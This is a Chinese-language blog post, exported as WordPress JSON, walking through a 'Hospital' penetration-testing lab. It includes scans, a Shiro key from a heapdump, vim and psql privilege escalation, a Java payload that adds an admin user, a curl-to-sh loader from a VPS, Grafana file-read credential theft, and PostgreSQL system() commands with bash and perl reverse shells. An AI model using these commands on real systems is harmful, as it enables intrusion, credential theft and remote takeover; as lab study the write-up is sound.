{"id":459,"date":"2024-11-10T15:06:29","date_gmt":"2024-11-10T07:06:29","guid":{"rendered":"http:\/\/www.s1mh0.cn\/blog\/?p=459"},"modified":"2025-02-20T16:54:06","modified_gmt":"2025-02-20T08:54:06","slug":"cqyj_hospital","status":"publish","type":"post","link":"https:\/\/www.s1mh0.cn\/blog\/index.php\/2024\/11\/10\/cqyj_hospital\/","title":{"rendered":"\u6625\u79cb\u4e91\u5883-Hospital"},"content":{"rendered":"<h2>Hospital<\/h2>\n<p>\u6d89\u53ca\u7684\u77e5\u8bc6\u70b9<\/p>\n<pre><code class=\"language-text\">heapdump\u6cc4\u9732\u5229\u7528\nvim.basic\u7684suid\u63d0\u6743\nnacos\u5f31\u5bc6\u7801+yaml\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\nfastjson\nssh\u5199\u516c\u94a5\u4e0a\u7ebf\ngrafana\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\nPostgreSQL\u4fee\u6539\u5bc6\u7801+\u53cd\u5f39shell\npsql\u7684sudo\u63d0\u6743<\/code><\/pre>\n<h3>\u524d\u8a00<\/h3>\n<p>\u524d\u671f\u6253\u9776\u573a\u7684\u76ee\u7684\u4e3b\u8981\u8fd8\u662f\u719f\u6089\u5e38\u89c4\u6e17\u900f\u64cd\u4f5c\uff0c\u4f8b\u5982\u4e0a\u7ebf\u3001\u5185\u7f51\u4ee3\u7406\u8f6c\u53d1\u3001\u63d0\u6743\u7b49\u7b49\uff0c\u56e0\u6b64\u4e3b\u8981\u662f\u57fa\u4e8e\u5404\u5e08\u5085wp\u7684\u4ee5\u5b66\u4e60\u4e3a\u4e3b\u7684\u6253\u9776<\/p>\n<h3>flag1<\/h3>\n<p>\u9996\u5148fscan\u626b\u51faheapdump\u6cc4\u9732<\/p>\n<pre><code class=\"language-text\">fscan.exe -h 39.99.144.167 -pn 22\uff08\u56e0\u4e3a\u6015ssh\u7206\u7834\u592a\u957f\u65f6\u95f4\uff0c\u63d0\u524d\u8ba9\u5176\u4e0d\u68c0\u6d4b22\u7aef\u53e3\uff09\nstart infoscan\n39.99.144.167:8080 open\n[*] alive ports len is: 1\nstart vulscan\n[*] WebTitle http:\/\/39.99.144.167:8080 code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/39.99.144.167:8080\/login;jsessionid=221B387F127E46C687F6FB9853161DF3\n[*] WebTitle http:\/\/39.99.144.167:8080\/login;jsessionid=221B387F127E46C687F6FB9853161DF3 code:200 len:2005   title:\u533b\u7597\n\u7ba1\u7406\u540e\u53f0\n[+] PocScan http:\/\/39.99.144.167:8080 poc-yaml-spring-actuator-heapdump-file\n\u5df2\u5b8c\u6210 1\/1\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 31.2868404s<\/code><\/pre>\n<p>\u53d1\u73b0shirokey\u4e0e\u52a0\u5bc6\u65b9\u5f0f<\/p>\n<pre><code class=\"language-text\">java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump\n\n===========================================\nCookieRememberMeManager(ShiroKey)\n-------------\nalgMode = CBC, key = GAYysgMQhG7\/CzIJlVpR2g==, algName = AES\n\n===========================================<\/code><\/pre>\n<p>\u6ce8\u5165\u51b0\u874e\u5185\u5b58\u9a6c<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital1.png\" alt=\"cqyj_hospital1\" style=\"zoom:80%;\" \/><\/p>\n<p>\u67e5\u770b\u5185\u7f51\u7f51\u6bb5\u4e3a172.30.12.5<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital2.png\" alt=\"cqyj_hospital2\" \/><\/p>\n<p>\u7531\u4e8eVshell\u542f\u5728\u672c\u5730\uff0c\u9776\u673a\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u672c\u5730\u5730\u5740\uff0c\u4f7f\u7528\u6b63\u5411\u4ee3\u7406\u8fde\u63a5<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital3.png\" alt=\"cqyj_hospital3\" style=\"zoom:80%;\" \/><br \/>\n<img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital4.png\" alt=\"cqyj_hospital4\" style=\"zoom:80%;\" \/><br \/>\n<img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital5.png\" alt=\"cqyj_hospital5\" style=\"zoom:67%;\" \/><\/p>\n<p>\u975eroot\u7528\u6237\uff0c\u5c1d\u8bd5suid\u63d0\u6743<\/p>\n<pre><code class=\"language-text\">find \/ -user root -perm -4000 -exec ls -ldb {} \\;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital6.png\" alt=\"cqyj_hospital6\" \/><\/p>\n<p>\u672c\u5730GTFOBins\u627evim.md<\/p>\n<pre><code class=\"language-text\">  suid:\n    - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.\n      code: .\/vim -c &#039;:py import os; os.execl(&quot;\/bin\/sh&quot;, &quot;sh&quot;, &quot;-pc&quot;, &quot;reset; exec sh -p&quot;)&#039;<\/code><\/pre>\n<p>\u6d4b\u8bd5\u9776\u673a\u73af\u5883\u6709python3\uff0c\u5c06vim\u63d0\u6743\u547d\u4ee4\u7684py\u6362\u6210python3\uff0c\u4e5f\u53ef\u4ee5\u5c06sh\u6362\u6210bash\u7684shell<\/p>\n<pre><code class=\"language-text\">\/usr\/bin\/vim.basic -c &#039;:python3 import os; os.execl(&quot;\/bin\/sh&quot;, &quot;sh&quot;, &quot;-pc&quot;, &quot;reset; exec sh -p&quot;)&#039;\n\/usr\/bin\/vim.basic -c &#039;:python3 import os; os.execl(&quot;\/bin\/sh&quot;, &quot;sh&quot;, &quot;-pc&quot;, &quot;reset; exec bash -p&quot;)&#039;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital7.png\" alt=\"cqyj_hospital7\" \/><\/p>\n<h3>flag2<\/h3>\n<p>\u7ee7\u7eed\u5728\u5165\u53e3\u673a\u4e0a\u4f20fscan\u626b\u63cf\u5185\u7f51c\u6bb5<\/p>\n<pre><code class=\"language-text\">.\/fscan -h 172.30.12.1\/24 -o res.txt\n\nstart infoscan\n(icmp) Target 172.30.12.5     is alive\n(icmp) Target 172.30.12.6     is alive\n(icmp) Target 172.30.12.236   is alive\n[*] Icmp alive hosts len is: 3\n172.30.12.6:445 open\n172.30.12.6:139 open\n172.30.12.6:135 open\n172.30.12.236:22 open\n172.30.12.236:8080 open\n172.30.12.6:8848 open\n172.30.12.5:8080 open\n172.30.12.5:10001 open\n172.30.12.5:22 open\n172.30.12.236:8009 open\n[*] alive ports len is: 10\nstart vulscan\n[*] NetInfo \n[*]172.30.12.6\n   [-&gt;]Server02\n   [-&gt;]172.30.12.6\n[*] WebTitle http:\/\/172.30.12.5:8080   code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/172.30.12.5:8080\/login;jsessionid=3EF3613C1D444262523601F458D9DA34\n[*] NetBios 172.30.12.6     WORKGROUP\\SERVER02            \n[*] WebTitle http:\/\/172.30.12.5:8080\/login;jsessionid=3EF3613C1D444262523601F458D9DA34 code:200 len:2005   title:\u533b\u7597\u7ba1\u7406\u540e\u53f0\n[*] WebTitle http:\/\/172.30.12.236:8080 code:200 len:3964   title:\u533b\u9662\u540e\u53f0\u7ba1\u7406\u5e73\u53f0\n[*] WebTitle http:\/\/172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 \u2013 Not Found\n[+] PocScan http:\/\/172.30.12.6:8848 poc-yaml-alibaba-nacos \n[+] PocScan http:\/\/172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file \n[+] PocScan http:\/\/172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass<\/code><\/pre>\n<p>\u53d1\u73b0\u53e6\u5916\u4e24\u53f0\u673a\u5668\uff0c172.30.12.6\u548c172.30.12.236\uff0c\u5206\u522b\u79f0\u4e3aweb2\u548cweb3\uff0c\u5165\u53e3\u673a\u4e3aweb1<\/p>\n<p>\u9996\u5148\u5728web1\u5efasocks\u96a7\u9053\uff0c\u4f46\u662fvshell\u4e00\u952e\u642d\u5efa\u7684socks\u901a\u9053\u65e0\u6cd5\u4f7f\u7528\uff0c\u731c\u6d4b\u662f\u6743\u9650\u6216\u8005\u662f\u6b63\u5411\u4ee3\u7406\u7684\u95ee\u9898\uff0c\u6682\u672a\u6df1\u7a76<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital8.png\" alt=\"cqyj_hospital8\" \/><\/p>\n<p>\u6539\u4e3agost\u4ee3\u7406<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital9.png\" alt=\"cqyj_hospital9\" \/><\/p>\n<p>\u63a5\u7740\u6839\u636efscan\u7ed3\u679c\uff0c\u5728web2\u53d1\u73b0nacos\u670d\u52a1\uff0c\u53ef\u4ee5\u672a\u6388\u6743\u65b0\u5efa\u8d26\u6237\uff0c\u4e5f\u53ef\u4ee5nacos\/nacos\u9ed8\u8ba4\u5bc6\u7801\u767b\u5f55<\/p>\n<p>\u4f7f\u7528\u5de5\u5177\u63a2\u6d4b\u5230\u53ef\u80fd\u5b58\u5728yaml\u6216hessian\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital10.png\" alt=\"cqyj_hospital10\" \/><\/p>\n<p>nacos\u767b\u5f55\u770b\u5230Data Id\u4e3adb-config<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital11.png\" alt=\"cqyj_hospital11\" \/><\/p>\n<p>db-config\u53ef\u4ee5\u770b\u5230\u5f00\u653e\u4e86mysql\u548credis\u670d\u52a1\uff0c\u4f46\u662ffscan\u6ca1\u626b\u5230\uff0c\u5e94\u8be5\u662f\u53ea\u80fd\u672c\u5730\u8bbf\u95ee<\/p>\n<pre><code class=\"language-yaml\">server:\n  port: 8080\n  servlet:\n    context-path: \/hello\n\nspring:\n  application:\n    name: db-config\n  cloud:\n    nacos:\n      discovery:\n        server-addr: 127.0.0.1:8848\n      config:\n        server-addr: 127.0.0.1:8848\n        file-extension: yaml\n        namespace: dev\n        group: DEFAULT_GROUP\n        data-id: db-config.yaml\n  datasource:\n    mysql:\n      url: jdbc:mysql:\/\/localhost:3306\/test?useSSL=false&amp;serverTimezone=UTC&amp;allowPublicKeyRetrieval=true\n      username: root\n      password: P@ssWord!!!\n  redis:\n    host: localhost\n    port: 6379\n\nmanagement:\n  endpoints:\n    web:\n      exposure:\n        include: &#039;*&#039;<\/code><\/pre>\n<p>\u5148\u6253<a href=\"https:\/\/github.com\/artsploit\/yaml-payload\">yaml\u53cd\u5e8f\u5217\u5316<\/a>\uff0c\u56e0\u4e3a\u6839\u636efscan\u7ed3\u679c\uff0cweb2\u5f00\u653e\u4e86445\u3001139\u7aef\u53e3\uff0c\u56e0\u6b64\u4e3awindows\u673a\u5668\uff08\u5b58\u7591\uff1a\u6ca1\u626b\u52303389\u5f00\u653e\u4e3a\u4ec0\u4e48\u4f1a\u76f4\u63a5\u65b0\u5efa\u7ba1\u7406\u5458\u7528\u6237\uff09<\/p>\n<pre><code class=\"language-java\">public AwesomeScriptEngineFactory() {\n        try {\n            Runtime.getRuntime().exec(&quot;net user simho qwe@123 \/add&quot;);\n            Runtime.getRuntime().exec(&quot;net localgroup administrators simho \/add&quot;);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n<\/code><\/pre>\n<pre><code class=\"language-text\">javac src\/artsploit\/AwesomeScriptEngineFactory.java\njar -cvf yaml-payload.jar -C src\/ .<\/code><\/pre>\n<p>Jar\u5305\u8def\u5f84\u9700\u8981web2\u673a\u5668\u53ef\u4ee5\u76f4\u63a5\u8bbf\u95ee\uff0c\u56e0\u6b64\u5148\u4f20\u5230web1\u673a\u5668\uff0c\u7136\u540e\u7528python3\u5f00\u4e00\u4e2ahttp\u670d\u52a1<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital12.png\" alt=\"cqyj_hospital12\" \/><\/p>\n<p>\u63a5\u7740\u672c\u673a\u4f7f\u7528proxifier\u5f00\u542f\u5168\u5c40\u4ee3\u7406\uff0c\u7136\u540erdp\u8fde\u4e0aweb2\u673a\u5668\uff0c\u62ff\u5230flag2<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital13.png\" alt=\"cqyj_hospital13\" \/><\/p>\n<h3>flag3<\/h3>\n<p>\u53d1\u73b0web2\u53ea\u6709\u4e00\u4e2a\u7f51\u53e3<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital14.png\" alt=\"cqyj_hospital14\" \/><\/p>\n<p>\u63a5\u7740\u53bb\u770bweb3\uff0c\u53d1\u73b0fastjson\u670d\u52a1<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital15.png\" alt=\"cqyj_hospital15\" \/><\/p>\n<p>\u901a\u8fc7\u5728bp\u4e0a\u4f20<a href=\"https:\/\/github.com\/amaz1ngday\/fastjson-exp\">\u5de5\u5177\u63d2\u4ef6<\/a>\uff0c\u4e00\u952e\u53d1\u5305\u5229\u7528<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital16.png\" alt=\"cqyj_hospital16\" \/><\/p>\n<p>\u62ff\u5230flag3<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital17.png\" alt=\"cqyj_hospital17\" \/><\/p>\n<p>\u4e00\u5237\u6682\u544a\u4e00\u6bb5\u843d\uff0c\u76ee\u524d\u8fd8\u8981\u83b7\u53d6web3\u673a\u5668\u7684shell\uff0c\u540e\u9762\u53ea\u5c1d\u8bd5\u4e86\u4e0a\u4f20gost\u548c\u6b63\u5411\u9a6c\uff0c\u4f46\u662f\u5e94\u8be5\u5f97\u62ff\u5230\u4ea4\u4e92shell\u624d\u80fd\u8fd0\u884c<\/p>\n<pre><code class=\"language-text\">wget -P \/tmp\/ http:\/\/172.30.12.5:8989\/tcp_10002<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital18.png\" alt=\"cqyj_hospital18\" \/><\/p>\n<p>getshell\u65b9\u5f0f\u60f3\u7684\u662f\uff0c1\u3001\u7ee7\u7eed\u5c1d\u8bd5\u4f7f\u7528\u6b63\u5411\u9a6c\uff1b2\u3001\u5199\u5165ssh\u516c\u94a5<\/p>\n<h2>Hospital(\u4e8c\u5237)<\/h2>\n<p>\u4e3b\u8981\u4efb\u52a1\uff1a1\u3001\u9a8c\u8bc1gost\u591a\u7ea7\u4ee3\u7406\uff1b2\u3001\u5c1d\u8bd5\u591a\u79cd\u65b9\u6cd5\u83b7\u53d6web3\u6743\u9650\uff1b3\u3001\u62ff\u5230flag4<\/p>\n<p>\u8fd9\u6b21\u76f4\u63a5\u5728vps\u5f00vshell\uff0c\u5728\u5165\u53e3\u673a\uff08\u5373web1\uff09\u76f4\u63a5\u901a\u8fc7\u4e00\u53e5\u8bdd\u547d\u4ee4\u53cd\u5411\u4ee3\u7406\u4e0a\u7ebf<\/p>\n<pre><code class=\"language-text\">(curl -fsSL -m180 http:\/\/vps.89.236:8084\/slt||wget -T180 -q http:\/\/vps:8084\/slt)|sh<\/code><\/pre>\n<p>\u7136\u540e\u76f4\u63a5\u6765\u5230web3\uff0c\u4e00\u5237\u7684\u65f6\u5019\u505c\u7559\u5728fastjson\u547d\u4ee4\u6267\u884cgetshell\uff0c\u8fd9\u6b21\u4f7f\u7528\u63d2\u4ef6\u7684inject\u76f4\u63a5\u6ce8\u5165\u54e5\u65af\u62c9\u5185\u5b58\u9a6c\uff0c\u80fd\u591f\u6210\u529f\u8fde\u63a5<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital19.png\" alt=\"cqyj_hospital19\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital20.png\" alt=\"cqyj_hospital20\" \/><\/p>\n<p>\u7531\u4e8e\u4e0d\u662f\u4ea4\u4e92shell\uff0c\u60f3\u5728vshell\u4e0a\u7ebf\uff0c\u4f46\u662f\u5c1d\u8bd5\u4f7f\u7528\u6b63\u5411\u4ee3\u7406\u9a6c\u5931\u8d25\uff0c\u4e0d\u80fd\u5728\u54e5\u65af\u62c9\u8ba9\u5176\u6302\u540e\u53f0\u8fd0\u884c<\/p>\n<p>\u56e0\u6b64\u5c1d\u8bd5\u5199\u5165\u516c\u94a5\uff0c\u9996\u5148\u672c\u5730\u7528<code>ssh-keygen<\/code>\u751f\u6210\u516c\u94a5\u548c\u79c1\u94a5\uff0c\u5c06\u516c\u94a5\u540e\u7684<code>\u7528\u6237\u540d@\u4e3b\u673a\u540d<\/code>\u90e8\u5206\u5220\u6389\uff0c\u63a5\u7740\u5c1d\u8bd5\u5728\u54e5\u65af\u62c9\u4f7f\u7528echo\u76f4\u63a5\u5c06\u516c\u94a5\u5199\u5230authorized_keys\uff0c\u4f46\u662f\u5e94\u8be5\u662f\u7531\u4e8e\u957f\u5ea6\u8fc7\u957f\u5bfc\u81f4\u547d\u4ee4\u6267\u884c\u5931\u8d25\uff0c\u6240\u4ee5\u6700\u540e\u8fd8\u662f\u901a\u8fc7\u5728web1\u4e0a\u4f20\u516c\u94a5\u5e76\u5f00\u542fhttp\u670d\u52a1\uff0c\u5728\u54e5\u65af\u62c9\u901a\u8fc7wget\u4e0b\u8f7d\uff0c\u4e4b\u540e\u5199\u5165\u5230authorized_keys<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital21.png\" alt=\"cqyj_hospital21\" \/><\/p>\n<p>\u7136\u540e\u6302\u4e0aweb1\u7684\u4ee3\u7406\uff0c\u901a\u8fc7\u5bc6\u94a5\u8fde\u63a5\u5373\u53efssh\u767b\u5f55\uff0c\u5e76\u4e14\u662froot\u6743\u9650<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital22.png\" alt=\"cqyj_hospital22\" \/><\/p>\n<h3>flag4<\/h3>\n<p>\u53d1\u73b0\u53cc\u7f51\u53e3<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital23.png\" alt=\"cqyj_hospital23\" \/><\/p>\n<p>\u4e0afscan\u626b<\/p>\n<pre><code class=\"language-text\">.\/fscan -h 172.30.54.1\/24 -o res.txt\n\nstart infoscan\n(icmp) Target 172.30.54.179   is alive\n(icmp) Target 172.30.54.12    is alive\n[*] Icmp alive hosts len is: 2\n172.30.54.179:22 open\n172.30.54.179:8009 open\n172.30.54.179:8080 open\n172.30.54.12:5432 open\n172.30.54.12:22 open\n172.30.54.12:3000 open\n[*] alive ports len is: 6\nstart vulscan\n[*] WebTitle http:\/\/172.30.54.12:3000  code:302 len:29     title:None \u8df3\u8f6curl: http:\/\/172.30.54.12:3000\/login\n[*] WebTitle http:\/\/172.30.54.179:8080 code:200 len:3964   title:\u533b\u9662\u540e\u53f0\u7ba1\u7406\u5e73\u53f0\n[*] WebTitle http:\/\/172.30.54.12:3000\/login code:200 len:27909  title:Grafana<\/code><\/pre>\n<p>\u53d1\u73b0172.30.54.12\u673a\u5668\uff0c\u79f0\u5176\u4e3aweb4\uff0c\u4e0a\u9762\u6709grafana\u670d\u52a1<\/p>\n<p>\u901a\u8fc7<a href=\"https:\/\/github.com\/A-D-Team\/grafanaExp\">\u5de5\u5177<\/a>\u626b\u63cf\uff0c\u4f46\u662f\u6839\u636e\u5176\u4ed6\u5e08\u5085\u535a\u5ba2\uff0c\u9700\u8981v1.1\u7684\u7248\u672c\u624d\u80fd\u626b\u5230postgres\u6570\u636e\u5e93\u8d26\u5bc6\uff0cgithub\u4e0a\u5df2\u7ecf\u6ca1\u6709\u8be5\u7248\u672c\u4e86\uff0c\u4f46\u662f\u901a\u8fc7CVE-2021-43798\u6765\u8bfb\u53d6grafana\u914d\u7f6e\u6587\u4ef6\u6216\u8005\u6570\u636e\u5e93\u6587\u4ef6\u5e94\u8be5\u4e5f\u80fd\u5f97\u5230\uff0c\u6682\u672a\u6df1\u7a76(\u6c99\u783e\u592a\u8d35)\uff0c\u76f4\u63a5\u5148\u62ff\u6765\u7528\u4e86<\/p>\n<pre><code class=\"language-text\">.\/linux_amd64_grafanaExp exp -u http:\/\/172.30.54.12:3000<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital24.png\" alt=\"cqyj_hospital24\" \/><\/p>\n<pre><code class=\"language-text\">[SW2YcwTIb9zpOOhoPsMm]\npostgres \/ Postgres@123<\/code><\/pre>\n<p>\u63a5\u7740\u5c31\u662f\u8fde\u63a5\u6570\u636e\u5e93\uff0c\u6d89\u53ca\u5230\u591a\u7ea7\u4ee3\u7406\uff0c\u5c1d\u8bd5\u4e86gost\u914d\u5408-F\u642d\u5efa\u591a\u7ea7\u4f46\u662f\u6ca1\u6210\u529f\uff1b\u6700\u540e\u5728web1\u548cweb3\u5206\u522b\u7528gost\u642d\u5efasocks\u4ee3\u7406\uff0c\u7136\u540e\u5728proxifier\u6dfb\u52a0\u4ee3\u7406\u94fe\u5c06\u8fd9\u4fe9\u4e00\u5e76\u653e\u5165\uff08\u4e4b\u540e\u4f1a\u5c1d\u8bd5\u5b66\u4e60\u4f7f\u7528chisel\u548cStowaway\u642d\u5efa\u591a\u7ea7\u4ee3\u7406\uff09<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital25.png\" alt=\"cqyj_hospital25\" \/><\/p>\n<p>\u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u672c\u673a\u4e0a\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7<code>http:\/\/172.30.54.12:3000\/login<\/code>\u8bbf\u95ee\u5230grafana\u670d\u52a1\uff0c\u63a5\u7740\u7528navicat\u8fde\u63a5Postgre\u6570\u636e\u5e93<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital26.png\" alt=\"cqyj_hospital26\" style=\"zoom: 67%;\" \/><\/p>\n<p>\u63a5\u7740\u5c31\u662f\u770b\u5176\u4ed6\u5e08\u5085\u5bf9PostgreSQL\u7684\u5229\u7528<\/p>\n<pre><code class=\"language-sql\"># \u4fee\u6539root\u7528\u6237\u5bc6\u7801\nALTER USER root WITH PASSWORD &#039;123456&#039;;\n# \u67e5\u770b\u6570\u636e\u5e93\u7248\u672c\nselect version();\n# PostgreSQL 8.1 \u53ca\u4e4b\u524d\u7248\u672c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528 Linux \u4e2d\u7684 libc.so.6 \u6587\u4ef6\uff0c\u521b\u5efa\u547d\u4ee4\u6267\u884c\u51fd\u6570\nCREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS &#039;\/lib\/x86_64-linux-gnu\/libc.so.6&#039;, &#039;system&#039; LANGUAGE &#039;c&#039; STRICT;\n# \u4f7f\u7528system\u51fd\u6570\u6267\u884c\u547d\u4ee4\uff08\u521b\u5efa\u51fd\u6570\u6210\u529f\u540e\uff0c\u6267\u884c\u547d\u4ee4\u65f6\u5f53\u8fd4\u56de\u503c\u4e3a 0 \u8868\u793a\u6267\u884c\u6210\u529f\uff0c\u5176\u5b83\u503c\u5219\u662f\u6267\u884c\u5931\u8d25\uff09\nselect system(&#039;curl 172.30.54.179&#039;);\nselect system(&#039;sh -i &gt;&amp; \/dev\/tcp\/172.30.54.179\/4444 0&gt;&amp;1&#039;);\nselect system(&#039;perl -e \\&#039;use Socket;$i=&quot;172.30.54.179&quot;;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;\/bin\/sh -i&quot;);};\\&#039;&#039;);<\/code><\/pre>\n<p>ps\uff1a\u7cfb\u7edf\u4e0a libc.so.6 \u6587\u4ef6\u7684\u8def\u5f84\u53ea\u80fd\u9760\u8bd5\uff08\u4f4d\u7f6e\u4e0d\u5bf9\u521b\u5efa\u51fd\u6570\u65f6\u4f1a\u62a5\u9519\u7684\uff09\uff0c\u4e00\u822c\u4e3a\u5982\u4e0b\u51e0\u4e2a\u4f4d\u7f6e<\/p>\n<pre><code class=\"language-text\">\/lib\/x86_64-linux-gnu\/libc.so.6\n\/lib\/libc.so.6\n\/lib64\/libc.so.6\n\/usr\/lib\/x86_64-linux-gnu\/libc.so.6\n\/usr\/lib32\/libc.so.6<\/code><\/pre>\n<p>\u7528perl\u547d\u4ee4\u53cd\u5f39shell<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital27.png\" alt=\"cqyj_hospital27\" \/><\/p>\n<p><code>sudo -l<\/code>\u53d1\u73b0\u53ef\u4ee5psql\u63d0\u6743<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital28.png\" alt=\"cqyj_hospital28\" \/><\/p>\n<p>\u5728\u672c\u5730GTFOBins\u641c\u7d22pssql.md<\/p>\n<pre><code class=\"language-text\">  sudo:\n    - code: |\n        psql\n        \\?\n        !\/bin\/sh<\/code><\/pre>\n<p>\u9996\u5148\u751f\u6210\u4ea4\u4e92shell<\/p>\n<pre><code class=\"language-text\">python3 -c &quot;import pty;pty.spawn(&#039;\/bin\/bash&#039;)&quot;<\/code><\/pre>\n<p>\u7136\u540e\u6267\u884c<\/p>\n<pre><code class=\"language-text\">sudo \/usr\/local\/postgresql\/bin\/psql\npassword:123456 # \u524d\u9762\u5df2\u7ecf\u4fee\u6539\u4e3a123456<\/code><\/pre>\n<p>\u63a5\u7740\u6839\u636esudo\u63d0\u6743\u65b9\u5f0f\u8f93\u5165<code>\\?<\/code>\u548c<code>!\/bin\/bash<\/code><\/p>\n<pre><code class=\"language-text\">root=# \\?\nInput\/Output\n!\/bin\/bash<\/code><\/pre>\n<p>\u6700\u540e\u5f97\u5230web4\u673a\u5668\u7684root\u6743\u9650\uff0c\u83b7\u5f97\u6700\u540e\u4e00\u4e2aflag<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/11\/\/cqyj_hospital29.png\" alt=\"cqyj_hospital29\" \/><\/p>\n<div class=\"clearfix\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Hospital \u6d89\u53ca\u7684\u77e5\u8bc6\u70b9 heapdump\u6cc4\u9732\u5229\u7528 vim.basic\u7684suid\u63d0\u6743 nacos\u5f31\u5bc6\u7801+ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-459","post","type-post","status-publish","format-standard","hentry","category-pentesting"],"views":1221,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/459","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=459"}],"version-history":[{"count":5,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/459\/revisions"}],"predecessor-version":[{"id":724,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/